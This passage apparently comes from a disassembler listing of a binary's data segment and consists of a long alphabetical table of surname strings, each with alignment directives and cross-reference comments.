DATA XREF: seg002:0042F49Co align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: seg002:0042F498o align 4 aJamil db 'Jamil',0 ; DATA XREF: seg002:0042F494o align 10h aJain db 'Jain',0 ; DATA XREF: seg002:0042F490o align 4 aJagoe db 'Jagoe',0 ; DATA XREF: seg002:0042F48Co align 10h aJagger db 'Jagger',0 ; DATA XREF: seg002:0042F488o align 4 aJagers db 'Jagers',0 ; DATA XREF: seg002:0042F484o align 10h aJackson db 'Jackson',0 ; DATA XREF: seg002:0042F480o aJacenko db 'Jacenko',0 ; DATA XREF: seg002:0042F47Co aIyer db 'Iyer',0 ; DATA XREF: seg002:0042F478o align 4 aIsserman db 'Isserman',0 ; DATA XREF: seg002:0042F474o align 4 aIsbill db 'Isbill',0 ; DATA XREF: seg002:0042F470o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: seg002:0042F46Co align 4 aIsaac db 'Isaac',0 ; DATA XREF: seg002:0042F468o align 10h aInniss db 'Inniss',0 ; DATA XREF: seg002:0042F464o align 4 aInamura db 'Inamura',0 ; DATA XREF: seg002:0042F460o aIgarashi db 'Igarashi',0 ; DATA XREF: seg002:0042F45Co align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: seg002:0042F458o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: seg002:0042F454o align 4 aHyde db 'Hyde',0 ; DATA XREF: seg002:0042F450o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: seg002:0042F44Co align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: seg002:0042F448o align 4 aHupp db 'Hupp',0 ; DATA XREF: seg002:0042F444o align 4 aHuntington db 'Huntington',0 ; DATA XREF: seg002:0042F440o align 4 aHungerford db 'Hungerford',0 ; DATA XREF: seg002:0042F43Co align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: seg002:0042F438o align 10h aHuey db 'Huey',0 ; DATA XREF: seg002:0042F434o align 4 aHoy db 'Hoy',0 ; DATA XREF: seg002:0042F430o aHoward db 'Howard',0 ; DATA XREF: seg002:0042F42Co align 4 aHottle db 'Hottle',0 ; DATA XREF: seg002:0042F428o align 4 aHostage db 'Hostage',0 ; DATA XREF: seg002:0042F424o aHoshida db 'Hoshida',0 ; DATA XREF: seg002:0042F420o aHorsley db 'Horsley',0 ; DATA XREF: seg002:0042F41Co aHopkins db 'Hopkins',0 ; DATA XREF: seg002:0042F418o aHooker db 'Hooker',0 ; DATA XREF: seg002:0042F414o align 4 aHolzman db 'Holzman',0 ; DATA XREF: seg002:0042F410o aHolway db 'Holway',0 ; DATA XREF: seg002:0042F40Co align 4 aHolter db 'Holter',0 ; DATA XREF: seg002:0042F408o align 4 aHoloien db 'Holoien',0 ; DATA XREF: seg002:0042F404o aHolmes db 'Holmes',0 ; DATA XREF: seg002:0042F400o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: seg002:0042F3FCo align 4 aHokanson db 'Hokanson',0 ; DATA XREF: seg002:0042F3F8o align 10h aHoffman db 'Hoffman',0 ; DATA XREF: seg002:0042F3F4o aHoffer db 'Hoffer',0 ; DATA XREF: seg002:0042F3F0o align 10h aHock db 'Hock',0 ; DATA XREF: seg002:0042F3ECo align 4 aHoang db 'Hoang',0 ; DATA XREF: seg002:0042F3E8o align 10h aHitchcock db 'Hitchcock',0 ; DATA XREF: seg002:0042F3E4o align 4 aHirst db 'Hirst',0 ; DATA XREF: seg002:0042F3E0o align 4 aHind db 'Hind',0 ; DATA XREF: seg002:0042F3DCo align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: seg002:0042F3D8o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: seg002:0042F3D4o align 10h aHeubert db 'Heubert',0 ; DATA XREF: seg002:0042F3D0o aHester db 'Hester',0 ; DATA XREF: seg002:0042F3CCo align 10h aHerrera db 'Herrera',0 ; DATA XREF: seg002:0042F3C8o aHernandez db 'Hernandez',0 ; DATA XREF: seg002:0042F3C4o align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: seg002:0042F3C0o align 10h aHenery db 'Henery',0 ; DATA XREF: seg002:0042F3BCo align 4 aHemphill db 'Hemphill',0 ; DATA XREF: seg002:0042F3B8o align 4 aHelprin db 'Helprin',0 ; DATA XREF: seg002:0042F3B4o aHellmiss db 'Hellmiss',0 ; DATA XREF: seg002:0042F3B0o align 4 aHellman db 'Hellman',0 ; DATA XREF: seg002:0042F3ACo aHeiland db 'Heiland',0 ; DATA XREF: seg002:0042F3A8o aHeft db 'Heft',0 ; DATA XREF: seg002:0042F3A4o align 10h aHeermans db 'Heermans',0 ; DATA XREF: seg002:0042F3A0o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: seg002:0042F39Co align 4 aHaynes db 'Haynes',0 ; DATA XREF: seg002:0042F398o align 10h aHayes db 'Hayes',0 ; DATA XREF: seg002:0042F394o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: seg002:0042F390o align 10h aHaviaras db 'Haviaras',0 ; DATA XREF: seg002:0042F38Co align 4 aHarwell db 'Harwell',0 ; DATA XREF: seg002:0042F388o aHartnett db 'Hartnett',0 ; DATA XREF: seg002:0042F384o align 10h aHartmann db 'Hartmann',0 ; DATA XREF: seg002:0042F380o align 4 aHartman db 'Hartman',0 ; DATA XREF: seg002:0042F37Co aHarrigan db 'Harrigan',0 ; DATA XREF: seg002:0042F378o align 10h aHarlow db 'Harlow',0 ; DATA XREF: seg002:0042F374o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: seg002:0042F370o align 4 aHarding db 'Harding',0 ; DATA XREF: seg002:0042F36Co aHanssen db 'Hanssen',0 ; DATA XREF: seg002:0042F368o aHand db 'Hand',0 ; DATA XREF: seg002:0042F364o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: seg002:0042F360o align 4 aHamer db 'Hamer',0 ; DATA XREF: seg002:0042F35Co align 10h aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: seg002:0042F358o align 10h aHalpert db 'Halpert',0 ; DATA XREF: seg002:0042F354o aHallowell db 'Hallowell',0 ; DATA XREF: seg002:0042F350o align 4 aHalkias db 'Halkias',0 ; DATA XREF: seg002:0042F34Co aHaley db 'Haley',0 ; DATA XREF: seg002:0042F348o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: seg002:0042F344o align 10h aHackman db 'Hackman',0 ; DATA XREF: seg002:0042F340o aHaar db 'Haar',0 ; DATA XREF: seg002:0042F33Co align 10h aHa db 'Ha',0 ; DATA XREF: seg002:0042F338o align 4 aGuo db 'Guo',0 ; DATA XREF: seg002:0042F334o aGunn db 'Gunn',0 ; DATA XREF: seg002:0042F330o align 10h aGuenthart db 'Guenthart',0 ; DATA XREF: seg002:0042F32Co align 4 aGruppe db 'Gruppe',0 ; DATA XREF: seg002:0042F328o align 4 aGruner db 'Gruner',0 ; DATA XREF: seg002:0042F324o align 4 aGrummell db 'Grummell',0 ; DATA XREF: seg002:0042F320o align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: seg002:0042F31Co align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: seg002:0042F318o align 10h aGreenfeld db 'Greenfeld',0 ; DATA XREF: seg002:0042F314o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: seg002:0042F310o align 4 aGravell db 'Gravell',0 ; DATA XREF: seg002:0042F30Co aGozzi db 'Gozzi',0 ; DATA XREF: seg002:0042F308o align 4 aGoody db 'Goody',0 ; DATA XREF: seg002:0042F304o align 10h aGoodearl db 'Goodearl',0 ; DATA XREF: seg002:0042F300o align 4 aGood db 'Good',0 ; DATA XREF: seg002:0042F2FCo align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: seg002:0042F2F8o align 10h aGoldfarb db 'Goldfarb',0 ; DATA XREF: seg002:0042F2F4o align 4 aGlendon db 'Glendon',0 ; DATA XREF: seg002:0042F2F0o aGlegg db 'Glegg',0 ; DATA XREF: seg002:0042F2ECo align 4 aGleason db 'Gleason',0 ; DATA XREF: seg002:0042F2E8o aGist db 'Gist',0 ; DATA XREF: seg002:0042F2E4o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: seg002:0042F2E0o align 4 aGill db 'Gill',0 ; DATA XREF: seg002:0042F2DCo align 10h aGili db 'Gili',0 ; DATA XREF: seg002:0042F2D8o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: seg002:0042F2D4o aGibson db 'Gibson',0 ; DATA XREF: seg002:0042F2D0o align 4 aGibbens db 'Gibbens',0 ; DATA XREF: seg002:0042F2CCo aGhorai db 'Ghorai',0 ; DATA XREF: seg002:0042F2C8o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: seg002:0042F2C4o aGeorgi db 'Georgi',0 ; DATA XREF: seg002:0042F2C0o align 4 aGemberling db 'Gemberling',0 ; DATA XREF: seg002:0042F2BCo align 4 aGeller db 'Geller',0 ; DATA XREF: seg002:0042F2B8o align 4 aGaronna db 'Garonna',0 ; DATA XREF: seg002:0042F2B4o aGarman db 'Garman',0 ; DATA XREF: seg002:0042F2B0o align 4 aGarfield db 'Garfield',0 ; DATA XREF: seg002:0042F2ACo align 4 aGambini db 'Gambini',0 ; DATA XREF: seg002:0042F2A8o aGalwey db 'Galwey',0 ; DATA XREF: seg002:0042F2A4o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: seg002:0042F2A0o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: seg002:0042F29Co align 10h aGabrielli db 'Gabrielli',0 ; DATA XREF: seg002:0042F298o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: seg002:0042F294o align 4 aFurth db 'Furth',0 ; DATA XREF: seg002:0042F290o align 4 aFuller db 'Fuller',0 ; DATA XREF: seg002:0042F28Co align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: seg002:0042F288o align 10h aFrye db 'Frye',0 ; DATA XREF: seg002:0042F284o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: seg002:0042F280o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: seg002:0042F27Co aFrisken db 'Frisken',0 ; DATA XREF: seg002:0042F278o aFriedland db 'Friedland',0 ; DATA XREF: seg002:0042F274o align 10h aFried db 'Fried',0 ; DATA XREF: seg002:0042F270o align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: seg002:0042F26Co align 4 aFreid db 'Freid',0 ; DATA XREF: seg002:0042F268o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: seg002:0042F264o align 4 aFranz db 'Franz',0 ; DATA XREF: seg002:0042F260o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: seg002:0042F25Co align 4 aFrancisco db 'Francisco',0 ; DATA XREF: seg002:0042F258o align 10h aFossi db 'Fossi',0 ; DATA XREF: seg002:0042F254o align 4 aFossey db 'Fossey',0 ; DATA XREF: seg002:0042F250o align 10h aFortier db 'Fortier',0 ; DATA XREF: seg002:0042F24Co aFortes db 'Fortes',0 ; DATA XREF: seg002:0042F248o align 10h aForester db 'Forester',0 ; DATA XREF: seg002:0042F244o align 4 aFolks db 'Folks',0 ; DATA XREF: seg002:0042F240o align 4 aFlores db 'Flores',0 ; DATA XREF: seg002:0042F23Co align 4 aFlier db 'Flier',0 ; DATA XREF: seg002:0042F238o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: seg002:0042F234o aFisk db 'Fisk',0 ; DATA XREF: seg002:0042F230o align 4 aFiorina db 'Fiorina',0 ; DATA XREF: seg002:0042F22Co aFinnegan db 'Finnegan',0 ; DATA XREF: seg002:0042F228o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: seg002:0042F224o aFink db 'Fink',0 ; DATA XREF: seg002:0042F220o align 10h aField db 'Field',0 ; DATA XREF: seg002:0042F21Co align 4 aFido db 'Fido',0 ; DATA XREF: seg002:0042F218o align 10h aFeuer db 'Feuer',0 ; DATA XREF: seg002:0042F214o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: seg002:0042F210o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: seg002:0042F20Co align 10h aFernandes db 'Fernandes',0 ; DATA XREF: seg002:0042F208o align 4 aFernald db 'Fernald',0 ; DATA XREF: seg002:0042F204o aFeldman db 'Feldman',0 ; DATA XREF: seg002:0042F200o aFejzo db 'Fejzo',0 ; DATA XREF: seg002:0042F1FCo align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: seg002:0042F1F8o align 10h aFates db 'Fates',0 ; DATA XREF: seg002:0042F1F4o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: seg002:0042F1F0o align 10h aFarren db 'Farren',0 ; DATA XREF: seg002:0042F1ECo align 4 aFarone db 'Farone',0 ; DATA XREF: seg002:0042F1E8o align 10h aFaris db 'Faris',0 ; DATA XREF: seg002:0042F1E4o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: seg002:0042F1E0o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: seg002:0042F1DCo align 10h aFaioes db 'Faioes',0 ; DATA XREF: seg002:0042F1D8o align 4 aFagan db 'Fagan',0 ; DATA XREF: seg002:0042F1D4o align 10h aFabbris db 'Fabbris',0 ; DATA XREF: seg002:0042F1D0o aEverett db 'Everett',0 ; DATA XREF: seg002:0042F1CCo aEuripides db 'Euripides',0 ; DATA XREF: seg002:0042F1C8o align 4 aEtter db 'Etter',0 ; DATA XREF: seg002:0042F1C4o align 4 aEstes db 'Estes',0 ; DATA XREF: seg002:0042F1C0o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: seg002:0042F1BCo align 4 aErez db 'Erez',0 ; DATA XREF: seg002:0042F1B8o align 10h aErdos db 'Erdos',0 ; DATA XREF: seg002:0042F1B4o align 4 aErdman db 'Erdman',0 ; DATA XREF: seg002:0042F1B0o align 10h aErbach db 'Erbach',0 ; DATA XREF: seg002:0042F1ACo align 4 aEppling db 'Eppling',0 ; DATA XREF: seg002:0042F1A8o aEnyeart db 'Enyeart',0 ; DATA XREF: seg002:0042F1A4o aEncinas db 'Encinas',0 ; DATA XREF: seg002:0042F1A0o aElvis db 'Elvis',0 ; DATA XREF: seg002:0042F19Co align 4 aElmerick db 'Elmerick',0 ; DATA XREF: seg002:0042F198o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: seg002:0042F194o align 10h aEliasson db 'Eliasson',0 ; DATA XREF: seg002:0042F190o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: seg002:0042F18Co aEdward db 'Edward',0 ; DATA XREF: seg002:0042F188o align 10h aEdner db 'Edner',0 ; DATA XREF: seg002:0042F184o align 4 aEdley db 'Edley',0 ; DATA XREF: seg002:0042F180o align 10h aEckel db 'Eckel',0 ; DATA XREF: seg002:0042F17Co align 4 aEbeling db 'Ebeling',0 ; DATA XREF: seg002:0042F178o aEardley db 'Eardley',0 ; DATA XREF: seg002:0042F174o aDwyer db 'Dwyer',0 ; DATA XREF: seg002:0042F170o align 10h aDussault db 'Dussault',0 ; DATA XREF: seg002:0042F16Co align 4 aDurrett db 'Durrett',0 ; DATA XREF: seg002:0042F168o aDuffin db 'Duffin',0 ; DATA XREF: seg002:0042F164o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: seg002:0042F160o aDrinker db 'Drinker',0 ; DATA XREF: seg002:0042F15Co aDowsland db 'Dowsland',0 ; DATA XREF: seg002:0042F158o align 4 aDoug db 'Doug',0 ; DATA XREF: seg002:0042F154o align 10h aDoty db 'Doty',0 ; DATA XREF: seg002:0042F150o align 4 aDosi db 'Dosi',0 ; DATA XREF: seg002:0042F14Co align 10h aDorf db 'Dorf',0 ; DATA XREF: seg002:0042F148o align 4 aDore db 'Dore',0 ; DATA XREF: seg002:0042F144o align 10h aDoonan db 'Doonan',0 ; DATA XREF: seg002:0042F140o align 4 aDonner db 'Donner',0 ; DATA XREF: seg002:0042F13Co align 10h aDonahue db 'Donahue',0 ; DATA XREF: seg002:0042F138o aDoherty db 'Doherty',0 ; DATA XREF: seg002:0042F134o aDockery db 'Dockery',0 ; DATA XREF: seg002:0042F130o aDirksen db 'Dirksen',0 ; DATA XREF: seg002:0042F12Co aDionysius db 'Dionysius',0 ; DATA XREF: seg002:0042F128o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: seg002:0042F124o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: seg002:0042F120o align 4 aDifabio db 'Difabio',0 ; DATA XREF: seg002:0042F11Co aDiefenbach db 'Diefenbach',0 ; DATA XREF: seg002:0042F118o align 4 aDicks db 'Dicks',0 ; DATA XREF: seg002:0042F114o align 10h aDFini db 'D',27h,'fini',0 ; DATA XREF: seg002:0042F110o align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: seg002:0042F10Co aDesombre db 'Desombre',0 ; DATA XREF: seg002:0042F108o align 4 aDenison db 'Denison',0 ; DATA XREF: seg002:0042F104o aDenham db 'Denham',0 ; DATA XREF: seg002:0042F100o align 4 aDenault db 'Denault',0 ; DATA XREF: seg002:0042F0FCo aDemusz db 'Demusz',0 ; DATA XREF: seg002:0042F0F8o align 4 aDempster db 'Dempster',0 ; DATA XREF: seg002:0042F0F4o align 4 aDeming db 'Deming',0 ; DATA XREF: seg002:0042F0F0o align 10h aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: seg002:0042F0ECo align 4 aDelger db 'Delger',0 ; DATA XREF: seg002:0042F0E8o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: seg002:0042F0E4o align 4 aDelattre db 'Delattre',0 ; DATA XREF: seg002:0042F0E0o align 10h aDefeciani db 'Defeciani',0 ; DATA XREF: seg002:0042F0DCo align 4 aDees db 'Dees',0 ; DATA XREF: seg002:0042F0D8o align 4 aDebroff db 'Debroff',0 ; DATA XREF: seg002:0042F0D4o aDerousse db 'deRousse',0 ; DATA XREF: seg002:0042F0D0o align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: seg002:0042F0CCo align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: seg002:0042F0C8o align 10h aDegennaro db 'DeGennaro',0 ; DATA XREF: seg002:0042F0C4o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: seg002:0042F0C0o aDavid db 'David',0 ; DATA XREF: seg002:0042F0BCo align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: seg002:0042F0B8o aDasgupta db 'Dasgupta',0 ; DATA XREF: seg002:0042F0B4o align 10h aDas db 'Das',0 ; DATA XREF: seg002:0042F0B0o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: seg002:0042F0ACo aDapice db 'Dapice',0 ; DATA XREF: seg002:0042F0A8o align 4 aDante db 'Dante',0 ; DATA XREF: seg002:0042F0A4o align 10h aDanieli db 'Danieli',0 ; DATA XREF: seg002:0042F0A0o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: seg002:0042F09Co aDaly db 'Daly',0 ; DATA XREF: seg002:0042F098o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: seg002:0042F094o align 4 aDasilva db 'daSilva',0 ; DATA XREF: seg002:0042F090o aCyders db 'Cyders',0 ; DATA XREF: seg002:0042F08Co align 4 aCvek db 'Cvek',0 ; DATA XREF: seg002:0042F088o align 4 aCutler db 'Cutler',0 ; DATA XREF: seg002:0042F084o align 4 aCurrier db 'Currier',0 ; DATA XREF: seg002:0042F080o aCui db 'Cui',0 ; DATA XREF: seg002:0042F07Co aCroxton db 'Croxton',0 ; DATA XREF: seg002:0042F078o aCroxen db 'Croxen',0 ; DATA XREF: seg002:0042F074o align 10h aCroshaw db 'Croshaw',0 ; DATA XREF: seg002:0042F070o aCrocker db 'Crocker',0 ; DATA XREF: seg002:0042F06Co aCrawford db 'Crawford',0 ; DATA XREF: seg002:0042F068o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: seg002:0042F064o aCounter db 'Counter',0 ; DATA XREF: seg002:0042F060o aCosmides db 'Cosmides',0 ; DATA XREF: seg002:0042F05Co align 4 aCornish db 'Cornish',0 ; DATA XREF: seg002:0042F058o aCorey db 'Corey',0 ; DATA XREF: seg002:0042F054o align 4 aConnors db 'Connors',0 ; DATA XREF: seg002:0042F050o aCondodina db 'Condodina',0 ; DATA XREF: seg002:0042F04Co align 4 aConcino db 'Concino',0 ; DATA XREF: seg002:0042F048o aComstock db 'Comstock',0 ; DATA XREF: seg002:0042F044o align 10h aCompton db 'Compton',0 ; DATA XREF: seg002:0042F03Co ; seg002:0042F040o aCollis db 'Collis',0 ; DATA XREF: seg002:0042F038o align 10h aCollard db 'Collard',0 ; DATA XREF: seg002:0042F034o aColella db 'Colella',0 ; DATA XREF: seg002:0042F030o aColdren db 'Coldren',0 ; DATA XREF: seg002:0042F02Co aCoito db 'Coito',0 ; DATA XREF: seg002:0042F028o align 10h aCoblenz db 'Coblenz',0 ; DATA XREF: seg002:0042F024o aClow db 'Clow',0 ; DATA XREF: seg002:0042F020o align 10h aClifton db 'Clifton',0 ; DATA XREF: seg002:0042F01Co aClement db 'Clement',0 ; DATA XREF: seg002:0042F018o aClark db 'Clark',0 ; DATA XREF: seg002:0042F014o align 4 aClancy db 'Clancy',0 ; DATA XREF: seg002:0042F010o align 10h aClaffey db 'Claffey',0 ; DATA XREF: seg002:0042F00Co aCifarelli db 'Cifarelli',0 ; DATA XREF: seg002:0042F008o align 4 aCicero db 'Cicero',0 ; DATA XREF: seg002:0042F004o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: seg002:0042F000o align 4 aChurch db 'Church',0 ; DATA XREF: seg002:0042EFFCo align 10h aChupasko db 'Chupasko',0 ; DATA XREF: seg002:0042EFF8o align 4 aChu db 'Chu',0 ; DATA XREF: seg002:0042EFF4o aChristopher db 'Christopher',0 ; DATA XREF: seg002:0042EFF0o aChristie db 'Christie',0 ; DATA XREF: seg002:0042EFECo align 4 aChristiano db 'Christiano',0 ; DATA XREF: seg002:0042EFE8o align 4 aChristian db 'Christian',0 ; DATA XREF: seg002:0042EFE4o align 10h aChristenson db 'Christenson',0 ; DATA XREF: seg002:0042EFE0o aChinman db 'Chinman',0 ; DATA XREF: seg002:0042EFDCo aChinipardaz db 'Chinipardaz',0 ; DATA XREF: seg002:0042EFD8o aChilds db 'Childs',0 ; DATA XREF: seg002:0042EFD4o align 4 aChildress db 'Childress',0 ; DATA XREF: seg002:0042EFD0o align 4 aChien db 'Chien',0 ; DATA XREF: seg002:0042EFCCo align 4 aChiassino db 'Chiassino',0 ; DATA XREF: seg002:0042EFC8o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: seg002:0042EFC4o align 4 aCherry db 'Cherry',0 ; DATA XREF: seg002:0042EFC0o align 4 aCheang db 'Cheang',0 ; DATA XREF: seg002:0042EFBCo align 4 aCharles db 'Charles',0 ; DATA XREF: seg002:0042EFB8o aChapman db 'Chapman',0 ; DATA XREF: seg002:0042EFB4o aCerioli db 'Cerioli',0 ; DATA XREF: seg002:0042EFB0o aCeniceros db 'Ceniceros',0 ; DATA XREF: seg002:0042EFACo align 4 aCavell db 'Cavell',0 ; DATA XREF: seg002:0042EFA8o align 10h aCavanagh db 'Cavanagh',0 ; DATA XREF: seg002:0042EFA4o align 4 aCastelda db 'Castelda',0 ; DATA XREF: seg002:0042EFA0o align 4 aCaspar db 'Caspar',0 ; DATA XREF: seg002:0042EF9Co align 10h aCase db 'Case',0 ; DATA XREF: seg002:0042EF98o align 4 aCascio db 'Cascio',0 ; DATA XREF: seg002:0042EF94o align 10h aCartmill db 'Cartmill',0 ; DATA XREF: seg002:0042EF90o align 4 aCarper db 'Carper',0 ; DATA XREF: seg002:0042EF8Co align 4 aCaroti db 'Caroti',0 ; DATA XREF: seg002:0042EF88o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: seg002:0042EF84o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: seg002:0042EF80o aCarlos db 'Carlos',0 ; DATA XREF: seg002:0042EF7Co align 4 aCarlin db 'Carlin',0 ; DATA XREF: seg002:0042EF78o align 10h aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: seg002:0042EF74o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: seg002:0042EF70o aCapursi db 'Capursi',0 ; DATA XREF: seg002:0042EF6Co aCappuccio db 'Cappuccio',0 ; DATA XREF: seg002:0042EF68o align 10h aCapodilupo db 'Capodilupo',0 ; DATA XREF: seg002:0042EF64o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: seg002:0042EF60o align 4 aCaperton db 'Caperton',0 ; DATA XREF: seg002:0042EF5Co align 4 aCapanni db 'Capanni',0 ; DATA XREF: seg002:0042EF58o aCanley db 'Canley',0 ; DATA XREF: seg002:0042EF54o align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: seg002:0042EF50o align 10h aCammelli db 'Cammelli',0 ; DATA XREF: seg002:0042EF4Co align 4 aCalnan db 'Calnan',0 ; DATA XREF: seg002:0042EF48o align 4 aCage db 'Cage',0 ; DATA XREF: seg002:0042EF44o align 4 aByrd db 'Byrd',0 ; DATA XREF: seg002:0042EF40o align 4 aByerly db 'Byerly',0 ; DATA XREF: seg002:0042EF3Co align 4 aByatt db 'Byatt',0 ; DATA XREF: seg002:0042EF38o align 4 aBusetta db 'Busetta',0 ; DATA XREF: seg002:0042EF34o aBurridge db 'Burridge',0 ; DATA XREF: seg002:0042EF30o align 4 aBurke db 'Burke',0 ; DATA XREF: seg002:0042EF2Co align 10h aBurdzy db 'Burdzy',0 ; DATA XREF: seg002:0042EF28o align 4 aBurden db 'Burden',0 ; DATA XREF: seg002:0042EF24o align 10h aBunton db 'Bunton',0 ; DATA XREF: seg002:0042EF20o align 4 aBullard db 'Bullard',0 ; DATA XREF: seg002:0042EF1Co aBudding db 'Budding',0 ; DATA XREF: seg002:0042EF18o aBuchan db 'Buchan',0 ; DATA XREF: seg002:0042EF14o align 10h aBrzycki db 'Brzycki',0 ; DATA XREF: seg002:0042EF10o aBrook db 'Brook',0 ; DATA XREF: seg002:0042EF0Co align 10h aBroca db 'Broca',0 ; DATA XREF: seg002:0042EF08o align 4 aBritz db 'Britz',0 ; DATA XREF: seg002:0042EF04o align 10h aBrinton db 'Brinton',0 ; DATA XREF: seg002:0042EF00o aBridges db 'Bridges',0 ; DATA XREF: seg002:0042EEFCo aBridgeman db 'Bridgeman',0 ; DATA XREF: seg002:0042EEF8o align 4 aBrewer db 'Brewer',0 ; DATA XREF: seg002:0042EEF0o ; seg002:0042EEF4o align 4 aBrennan db 'Brennan',0 ; DATA XREF: seg002:0042EEECo aBrenan db 'Brenan',0 ; DATA XREF: seg002:0042EEE8o align 4 aBreed db 'Breed',0 ; DATA XREF: seg002:0042EEE4o align 4 aBrecht db 'Brecht',0 ; DATA XREF: seg002:0042EEE0o align 4 aBradach db 'Bradach',0 ; DATA XREF: seg002:0042EEDCo aBradac db 'Bradac',0 ; DATA XREF: seg002:0042EED8o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: seg002:0042EED4o align 10h aBoyne db 'Boyne',0 ; DATA XREF: seg002:0042EED0o align 4 aBoym db 'Boym',0 ; DATA XREF: seg002:0042EECCo align 10h aBoyland db 'Boyland',0 ; DATA XREF: seg002:0042EEC8o aBoyes db 'Boyes',0 ; DATA XREF: seg002:0042EEC4o align 10h aBoyajian db 'Boyajian',0 ; DATA XREF: seg002:0042EEC0o align 4 aBoxer db 'Boxer',0 ; DATA XREF: seg002:0042EEBCo align 4 aBowers db 'Bowers',0 ; DATA XREF: seg002:0042EEB8o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: seg002:0042EEB4o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: seg002:0042EEB0o aBoudin db 'Boudin',0 ; DATA XREF: seg002:0042EEACo align 4 aBotosh db 'Botosh',0 ; DATA XREF: seg002:0042EEA8o align 10h aBothman db 'Bothman',0 ; DATA XREF: seg002:0042EEA4o aBossi db 'Bossi',0 ; DATA XREF: seg002:0042EEA0o align 10h aBorden db 'Borden',0 ; DATA XREF: seg002:0042EE9Co align 4 aBorack db 'Borack',0 ; DATA XREF: seg002:0042EE98o align 10h aBoorstin db 'Boorstin',0 ; DATA XREF: seg002:0042EE94o align 4 aBoone db 'Boone',0 ; DATA XREF: seg002:0042EE90o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: seg002:0042EE8Co align 10h aBook db 'Book',0 ; DATA XREF: seg002:0042EE88o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: seg002:0042EE84o align 4 aBoniface db 'Boniface',0 ; DATA XREF: seg002:0042EE80o align 10h aBonham db 'Bonham',0 ; DATA XREF: seg002:0042EE7Co align 4 aBoner db 'Boner',0 ; DATA XREF: seg002:0042EE78o align 10h aBologna db 'Bologna',0 ; DATA XREF: seg002:0042EE74o aBollinger db 'Bollinger',0 ; DATA XREF: seg002:0042EE70o align 4 aBolick db 'Bolick',0 ; DATA XREF: seg002:0042EE6Co align 4 aBolger db 'Bolger',0 ; DATA XREF: seg002:0042EE68o align 4 aBlyth db 'Blyth',0 ; DATA XREF: seg002:0042EE64o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: seg002:0042EE60o aBloemhof db 'Bloemhof',0 ; DATA XREF: seg002:0042EE5Co align 10h aBloembergen db 'Bloembergen',0 ; DATA XREF: seg002:0042EE58o aBloch db 'Bloch',0 ; DATA XREF: seg002:0042EE54o align 4 aBlizard db 'Blizard',0 ; DATA XREF: seg002:0042EE50o aBliss db 'Bliss',0 ; DATA XREF: seg002:0042EE4Co align 4 aBlanke db 'Blanke',0 ; DATA XREF: seg002:0042EE48o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: seg002:0042EE44o align 4 aBlagg db 